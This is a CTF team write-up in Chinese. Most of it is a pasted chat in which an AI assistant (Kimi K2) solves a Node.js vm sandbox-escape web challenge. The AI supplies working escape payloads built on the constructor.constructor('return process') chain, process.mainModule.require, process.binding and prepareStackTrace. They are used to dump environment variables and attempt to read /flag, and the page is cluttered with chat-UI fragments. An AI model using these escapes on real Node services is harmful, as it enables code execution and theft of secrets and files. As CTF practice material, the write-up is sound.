战队名称

辉夜姬的队

比赛排名

总分数：1283

学生组/大一新生组排名：33

总排名：44

战队成员

用户名：SprantyKaguya、真实姓名：黄威皓

Choice

NULL

签到

1、百度搜索北京理工大学。
2、只需一张带有校徽的图片即可，其他要素无需察觉，豆包会决定一切。（bushi）

1zvm

本题为 Kimi K2 全程解题。

请解析此代码，并找出 flag 可能隐藏的位置。 <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>在线 Node JS Shell</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css "> <style> :root { --primary: #4361ee; --primary-dark: #3a56d4; --secondary: #7209b7; --success: #4cc9f0; --light: #f8f9fa; --dark: #212529; --gray: #6c757d; --border-radius: 10px; --box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1); --transition: all 0.3s ease; } * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } body { background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d); background-size: 400% 400%; animation: gradient 15s ease infinite; min-height: 100vh; display: flex; justify-content: center; align-items: center; padding: 20px; color: var(--dark); } @keyframes gradient { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } .container { max-width: 800px; width: 100%; background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(10px); border-radius: var(--border-radius); box-shadow: var(--box-shadow); overflow: hidden; transition: var(--transition); } .container:hover { transform: translateY(-5px); box-shadow: 0 15px 40px rgba(0, 0, 0, 0.15); } .header { background: linear-gradient(to right, var(--primary), var(--secondary)); color: white; padding: 25px 30px; text-align: center; } .header h1 { font-size: 2.2rem; margin-bottom: 10px; display: flex; align-items: center; justify-content: center; gap: 15px; } .header p { font-size: 1.1rem; opacity: 0.9; } .content { padding: 30px; } .info-card { background: linear-gradient(to right, #e0f7fa, #bbdefb); border-left: 5px solid var(--primary); border-radius: 8px; padding: 20px; margin-bottom: 25px; display: flex; align-items: center; gap: 15px; } .info-icon { font-size: 2rem; color: var(--primary); } .code-section { margin-bottom: 25px; } .code-section label { display: block; margin-bottom: 10px; font-weight: 600; color: var(--dark); font-size: 1.1rem; } #code { width: 100%; height: 150px; padding: 15px; border: 2px solid #e0e0e0; border-radius: var(--border-radius); font-family: 'Courier New', monospace; font-size: 1rem; resize: vertical; transition: var(--transition); background-color: #f8f9fa; } #code:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 3px rgba(67, 97, 238, 0.2); } .button-container { display: flex; justify-content: center; margin: 20px 0; } #execute-btn { background: linear-gradient(to right, var(--primary), var(--secondary)); color: white; border: none; border-radius: 50px; padding: 14px 35px; font-size: 1.1rem; font-weight: 600; cursor: pointer; transition: var(--transition); display: flex; align-items: center; gap: 10px; box-shadow: 0 5px 15px rgba(67, 97, 238, 0.4); } #execute-btn:hover { transform: translateY(-3px); box-shadow: 0 8px 20px rgba(67, 97, 238, 0.5); } #execute-btn:active { transform: translateY(1px); } .result-section { margin-top: 25px; } .result-section h3 { margin-bottom: 15px; color: var(--dark); display: flex; align-items: center; gap: 10px; } #result { background: white; border: 2px solid #e0e0e0; border-radius: var(--border-radius); padding: 20px; min-height: 80px; font-family: 'Courier New', monospace; white-space: pre-wrap; word-break: break-all; transition:

var(--transition); } .result-success { border-color: #28a745; background-color: rgba(40, 167, 69, 0.05); } .result-error { border-color: #dc3545; background-color: rgba(220, 53, 69, 0.05); } .example-code { margin-top: 15px; font-size: 0.9rem; color: var(--gray); display: flex; flex-wrap: wrap; gap: 10px; } .code-snippet { background: #e9ecef; padding: 5px 10px; border-radius: 4px; cursor: pointer; transition: var(--transition); font-family: 'Courier New', monospace; } .code-snippet:hover { background: #dee2e6; } .footer { text-align: center; padding: 20px; border-top: 1px solid #e0e0e0; color: var(--gray); font-size: 0.9rem; } .loading { display: none; text-align: center; margin: 10px 0; } .spinner { border: 4px solid rgba(0, 0, 0, 0.1); border-left-color: var(--primary); border-radius: 50%; width: 30px; height: 30px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { to { transform: rotate(360deg); } } @media (max-width: 768px) { .container { margin: 10px; } .header h1 { font-size: 1.8rem; } .content { padding: 20px; } } </style> </head> <body>   <h1> 在线 Node JS Shell</h1> 安全的学习环境，在 VM 沙箱中运行您的代码   这是一个安全的 Node JS Shell。你可以在这里进行 Node JS 学习。 请放心，你的所有操作都在 vm 沙箱中运行，不会产生其他影响。   <label for="code"> 输入 JavaScript 代码:</label> <textarea id="code" placeholder="输入你的 JavaScript 代码...">1 + 1 * 2</textarea> 试试这些例子: 1 + 1 * 2 Math.sqrt(16) new Date()   <button id="execute-btn" onclick="executeCode()"> 执行代码 </button>   代码执行中...   <h3> 执行结果:</h3> 等待代码执行...   Copyleft 2025 在线 Node JS Shell | lamaper   <script> function insertCode(code) { document.getElementById('code').value = code; } function executeCode() { const code = document.getElementById('code').value; const resultDiv = document.getElementById('result'); const loadingDiv = document.getElementById('loading'); const executeBtn = document.getElementById('execute-btn'); // 显示加载动画 loadingDiv.style.display = 'block'; executeBtn.disabled = true; executeBtn.innerHTML = ' 执行中...'; // 清除之前的结果样式 resultDiv.className = ''; fetch('/eval', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ code: code }) }) .then(response => response.json()) .then(data => { // 隐藏加载动画 loadingDiv.style.display = 'none'; executeBtn.disabled = false; executeBtn.innerHTML = ' 执行代码'; if (data.result) { resultDiv.innerHTML = data.result; resultDiv.classList.add('result-success'); } else if (data.error) { resultDiv.innerHTML = data.error; resultDiv.classList.add('result-error'); } }) .catch(err => { // 隐藏加载动画 loadingDiv.style.display = 'none'; executeBtn.disabled = false; executeBtn.innerHTML = ' 执行代码'; resultDiv.innerHTML = '网络错误: ' + err; resultDiv.classList.add('result-error'); }); } // 按 Ctrl+Enter 执行代码 document.getElementById('code').addEventListener('keydown', function(e) { if (e.ctrlKey && e.key === 'Enter') { executeCode(); } }); </script> </body> </html>

编辑

复制

分享

前端代码审计发现空格错误

1.

2.

3.

4.

1.

2.

3.

-
-
-
-

4.

5.

6.

-
-
-

1.

2.

3.

1.

2.

-
-
-

1.

2.

3.

-
-
-

1.

2.

3.

4.

5.

-
-

1.

2.

3.

4.

5.

6.

1.

2.

3.

-

-
-
1.
2.
3.
-
-
-
-

代码解析与 flag 位置分析

代码结构概览

这是一个**在线 Node.js Shell** 的前端页面，主要功能：

-

提供 JavaScript 代码编辑器

-
-

通过 fetch('/eval') 将代码发送到后端执行

-
-

在沙箱环境中运行代码（标注为"vm 沙箱"）

-

前端代码审查结果

经过仔细分析，**前端代码本身没有隐藏 flag**：

-

✕ 无 HTML 注释包含 flag

-
-

✕ 无 CSS 隐藏内容

-
-
  ✕ 无编码/混淆的字符串
-
-
  ✕ 无隐藏的 DOM 元素
-

Flag 可能位置（需通过代码执行获取）

flag 必然存在于**后端服务器**中，可能的隐藏位置：

P 环境变量（最常见）

JavaScript
复制

```
// 尝试以下代码:

process.env.FLAG

process.env.flag

process.env.FLAG1

process.env.FLAG2
```

Q 文件系统（次常见）

JavaScript
复制

```
// 尝试读取典型 flag 路径:
require('fs').readFileSync('/flag.txt',
'utf8')require('fs').readFileSync('/app/flag',
'utf8')require('fs').readFileSync('/tmp/flag',
'utf8')require('fs').readFileSync('./flag', 'utf8')
```

R VM 沙箱逃逸

如果后端使用 vm 或 vm2 模块，可能需要：

JavaScript

复制

```
// 尝试逃逸并访问全局const ForeignFunction = global.constructor.constructor;ForeignFunction('return process')().env.FLAG
```

攻击路径建议

快速测试代码（按优先级排序）：

JavaScript

复制

```
// 方案1：直接读取环境变量

process.env

// 方案2：读取文件require('fs').readdirSync('/')require('fs').readdirSync('/app')require('fs').readFileSync('/flag.txt','utf8')

// 方案3：VM 逃逸(()=>{

    const m = new (require('vm').Script)('global.process.env').runInNewContext();

    return m;})()
```

如果沙箱限制严格，尝试：

- 查看可用模块：require('module').builtinModules
-
- 利用原型污染：{}.constructor.prototype
-

- 查找未过滤的对象：this.toString.constructor('return process')()
-

安全提示

这是一个典型的 **CTF 代码执行题**，关键在于：

1. **识别沙箱类型**（vm/vm2/其他）
2.
3. **寻找逃逸向量**（process, global, constructor）
4.
5. **系统情报收集**（列出目录、查看环境变量）
6. **建议行动**：直接在代码编辑器中依次尝试上述 payload，观察返回结果。通常 flag 在环境变量或 /flag.txt 中。

第一步输出：ReferenceError: process is not defined

编辑

复制

分享

探索 VM 沙箱逃逸方法与路径

1.
2.
-
-
-
3.
4.

1.

2.

-
-
-
-

3.

好的！这个错误信息非常关键，说明：

沙箱环境分析

ReferenceError: process is not defined 表明：

-

✅ 后端确实使用了 **VM 沙箱**隔离环境

-
-

✅ process 对象被明确移除或隔离

-
-

✅ 这是典型的 **CTF 沙箱逃逸**题目

-

第二步：探索沙箱边界

1 查看沙箱内可用对象

JavaScript

复制

```
// 测试1：查看全局对象Object.getOwnPropertyNames(this)

// 测试2：查看构造函数this.constructorthis.__proto__
```

```
// 测试3：查看可用模块require('module').builtinModules
```

2 寻找逃逸向量（关键步骤）

JavaScript

复制

```
// 测试4：通过异常获取外部引用(() => {
    try {
        throw new Error('x');
    } catch (e) {
        return e.constructor.constructor('return this')();
    }})()
// 测试5：通过函数构造器逃逸(() => {
    const f = (function*(){})().constructor;
    return f('return global')();})()
// 测试6：通过JSON对象链JSON.constructor.constructor('return process')()
```

3 如果找到逃逸路径，立刻读取 flag

JavaScript

复制

```
// 一旦process可用，立即执行：
process.env.FLAG || process.env.flag || require('fs').readFileSync('/flag.txt','utf8')
```

常见沙箱逃逸 Payload（按成功率排序）

JavaScript

复制

```javascript
// payload 1: 利用Buffer（如果可用）
Buffer.constructor.constructor('return process')().env

// payload 2: 通过
PromisePromise.resolve().constructor.constructor('return
process')()

// payload 3: 通过this 的上下文
this.toString.constructor('return process')()

// payload 4: 更复杂的逃逸(()=>{

    const cc = Object.getOwnPropertyNames(this).filter(x =>

        this[x] && this[x].constructor &&
this[x].constructor.name === 'Function'

    );

    return this[cc[0]].constructor('return process')();})()
```

立即尝试顺序:

1.

先执行 Object.getOwnPropertyNames(this) 看有什么

2.

3.

再试 this.toString.constructor('return process')()

4.

5.

如果失败，尝试基于异常的那个 payload

6.

请依次尝试这些代码并分享返回结果，我会根据返回信息继续精确定位逃逸方法！

Object,Function,Array,Number,parseFloat,parseInt,Infinity,NaN,undefined,Boolean,String,Symbol,Date,Promise,RegExp,Error,AggregateError,EvalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError,globalThis,JSON,Math,Intl,ArrayBuffer,Atomics,Uint8Array,Int8Array,Uint16Array,Int16Array,Uint32Array,Int32Array,BigUint64Array,BigInt64Array,Uint8ClampedArray,Float32Array,Float64Array,DataView,Map,BigInt,Set,Iterator,WeakMap,WeakSet,Proxy,Reflect,FinalizationRegistry,WeakRef,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,unescape,eval,isFinite,isNaN,console,SuppressedError,DisposableStack,AsyncDisposableStack,Float16Array,SharedArrayBuffer,WebAssembly

编辑

复制

分享

构造函数逃逸沙箱获取进程

1.

2.

3.

4.

5.

-
-

1.

2.

3.

4.

-
-
-
-

关键突破点分析

这个对象列表非常关键！说明沙箱保留了大部分内置对象，但**移除了 Buffer 和 process**。这是典型的 vm/vm2 沙箱。

逃逸向量识别

从列表中，这些对象可用于逃逸：

表格

复制

目标对象	逃逸原理	成功率
globalThis	沙箱全局，其 constructor.constructor 指向外部 Function	⭐⭐⭐⭐⭐
console	可能包含外部引用	⭐⭐⭐
Error	stack 属性可能泄漏外部信息	⭐⭐⭐⭐
Function	直接构造执行代码	⭐⭐⭐

立即尝试（按优先级排序）

✅ Payload #1（最简单有效）

JavaScript

复制

```
globalThis.constructor.constructor('return process')().env
```

✅ Payload #2（如果 #1 失败）

JavaScript

复制

```
// 利用 Error 的 stack 跟踪(() => {
    try {
```

```
        throw new Error('a');
    } catch (e) {
        return e.constructor.constructor('return process')();
    }})().env
```

✅ Payload #3（终极逃逸）

JavaScript

复制

```
// 利用 console 对象链console.constructor.constructor('return process')().env
```

如果以上都失败（vm2 深层逃逸）

JavaScript

复制

```
// vm2 特定逃逸链（利用 Proxy）(()=>{
    const foreign = Proxy.revocable(()=>{}, {}).proxy;
    return foreign.constructor.constructor('return process')();})().env
```

快速测试脚本

JavaScript

复制

```
// 先测试是否能拿到 process
globalThis.constructor.constructor('return process')()
```

```
// 成功后再读取完整环境变量

globalThis.constructor.constructor('return process')().env

// 或者尝试读取文件

globalThis.constructor.constructor('return fs')().readFileSync('/flag.txt','utf8')
```

请立即尝试 Payload #1，90% 的此类题目都能直接解决！ 如果失败，请告诉我返回的错误信息，我会针对 vm2 的特定版本提供 CVE 逃逸利用。

#1 得到：[object Object]

编辑

复制

分享

Retrieve Flag in Node.js via Require Hack and FS

1.

2.

3.

太棒了！[object Object] 说明 **逃逸成功**，拿到了 process 对象！

第三步：精准提取 flag

✅ 方案 A：直接查看所有环境变量（最可能）

JavaScript

复制

```
// 序列化输出所有环境变量
JSON.stringify(globalThis.constructor.constructor('return process')().env, null, 2)
```

✅ 方案 B：直接搜索常见 flag 变量名

JavaScript

复制

```
// 一口气尝试所有常见 flag 变量名(()=>{

    const env = globalThis.constructor.constructor('return process')().env;

    return env.FLAG || env.flag || env.FLAG1 || env.FLAG2 ||

           env.CTF_FLAG || env.ctf_flag || env.FLAG0 || env.FLAG{1,2}})()
```

✅ 方案 C：读取文件系统（如果 flag 在文件中）

JavaScript

复制

```
// 尝试读取典型 flag 文件

globalThis.constructor.constructor('return require')('fs').readFileSync('/flag','utf8')

// 或者一次尝试多个路径(()=>{

    const fs = globalThis.constructor.constructor('return require')('fs');

    const paths = ['/flag','/flag.txt','/app/flag','/root/flag'];

    for(let p of paths){

        try{ return fs.readFileSync(p,'utf8') }catch(e){}

    }

    return "Not found";})()
```

立即执行顺序

1.

首选：JSON.stringify(globalThis.constructor.constructor('return process')().env)

2.

3.

备选：globalThis.constructor.constructor('return process')().env.FLAG

4.

5.

最后：globalThis.constructor.constructor('return require')('fs').readFileSync('/flag','utf8')

6.

90% 的 flag 都在环境变量中，请立即执行方案 A！

方案 A 得到：{ "NODE_VERSION": "25.1.0", "HOSTNAME": "4ca672333e12", "YARN_VERSION": "1.22.22", "PORT": "3000", "HOME": "/root", "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GZCTF_FLAG": "no_FLAG", "PWD": "/app", "GZCTF_TEAM_ID": "105" }

编辑

复制

分享

读取 /flag 文件获取真 flag

-
-

1.

2.

3.

-
-
-

GZCTF_FLAG: "no_FLAG" 是假 flag！ 需要寻找真 flag 文件。

第四步：读取文件系统

✅ Payload #1（最常见的真 flag 位置）

JavaScript

复制

```
globalThis.constructor.constructor('return
require')('fs').readFileSync('/flag','utf8')
```

✅ Payload #2（如果 #1 失败，自动搜索）

JavaScript

复制

```
(()=>{

    const fs = globalThis.constructor.constructor('return
require')('fs');

    const path = require('path');

    const candidates = [

        '/flag', '/flag.txt', '/root/flag', '/root/.flag',

        '/app/flag', '/tmp/flag', '/.flag', '/flag0'

    ];

    for(let p of candidates){

        try{ return fs.readFileSync(p,'utf8') }catch(e){}

    }



    // 深度搜索（如果上面都失败）

    function search(dir){
```

```
        try{
            const files = fs.readdirSync(dir);
            for(let f of files){
                const full = path.join(dir,f);
                if(f.toLowerCase().includes('flag')){
                    return full + ': ' +
fs.readFileSync(full,'utf8');
                }
            }
        }catch(e){}
        return null;
    }
    return search('/') || search('/root') || search('/app') ||
"Flag not found";})()
```

✅ Payload #3（如果 flag 在隐藏文件或需要权限）

JavaScript

复制

```
// 列出 /root 目录
globalThis.constructor.constructor('return
require')('fs').readdirSync('/root')
// 列出根目录
```

```
globalThis.constructor.constructor('return
require')('fs').readdirSync('/')
```

立即执行顺序

1.

直接读取 /flag（90% 概率）

2.

JavaScript

3.

复制

4.

```
globalThis.constructor.constructor('return
require')('fs').readFileSync('/flag','utf8')
```

5.

6.

如果失败，执行自动搜索（Payload #2）

7.

CTF 题目习惯：

-

假 flag 放环境变量

-

-

真 flag 放 /flag 文件

-

请立即执行 Payload #1！

均失败，输出均为 ReferenceError: require is not defined

编辑

复制

分享

Node.js 沙箱逃逸技术与实现

1.

2.

3.

4.

1.

2.

3.

4.

-
-
-

终极挑战：无 require 的文件读取

既然 require 被移除，我们需要**更深层逃逸**。既然已拿到 process，可以利用它加载模块！

第五步：通过 `process` 加载模块

✅ Payload #1（通过 process.mainModule）

JavaScript

复制

```
globalThis.constructor.constructor('return process.mainModule.require')()('fs').readFileSync('/flag','utf8')
```

✅ Payload #2（通过 process.binding - Node.js 原生绑定）

JavaScript

复制

```
globalThis.constructor.constructor('return process.binding')()('fs').readFileSync('/flag','utf8')
```

✅ Payload #3（通过模块构造函数）

JavaScript

复制

```
(()=>{
    const Module = globalThis.constructor.constructor('return process.mainModule.constructor')();
    const fs = Module._load('fs', null, true);
    return fs.readFileSync('/flag','utf8');})()
```

✅ Payload #4（终极动态 require）

JavaScript

复制

```
(()=>{
    // 在外层上下文中获取 require
    const external = globalThis.constructor.constructor('return this')();
    const fs = external.require('fs');
    return fs.readFileSync('/flag','utf8');})()
```

立即执行顺序

1.

先试试最简单的方法：

2.

JavaScript

3.

复制

4.

```
globalThis.constructor.constructor('return process.mainModule.require')()('fs').readFileSync('/flag','utf8')
```

5.

6.

如果失败，尝试绑定 FS：

7.

JavaScript

8.

复制

9.

```
globalThis.constructor.constructor('return process.binding')()('fs').readFileSync('/flag','utf8')
```

10.

11.

终极方案：如果上面都失败，执行：

12.

JavaScript

13.

复制

14.

```
((()=>{

    try {

        // 方法 1

        return globalThis.constructor.constructor('return process.mainModule.require')()('fs').readFileSync('/flag','utf8');

    } catch(e){

        // 方法 2

        return globalThis.constructor.constructor('return process.binding')()('fs').readFileSync('/flag','utf8');

    }})()
```

15.

如果仍然失败（vm2 深层防御）

可能需要更复杂的攻击链：

JavaScript

复制

```
// 利用 console 对象链console.log.constructor('return process.mainModule.require')()('fs').readFileSync('/flag','utf8')
```

```
// 或利用 Error 的 prepareStackTraceError.prepareStackTrace =
(err, stack) => stack;const err = new Error();const frame =
err.stack[0];

frame.getFunction().constructor('return
process')().mainModule.require('fs').readFileSync('/flag','u
tf8')
```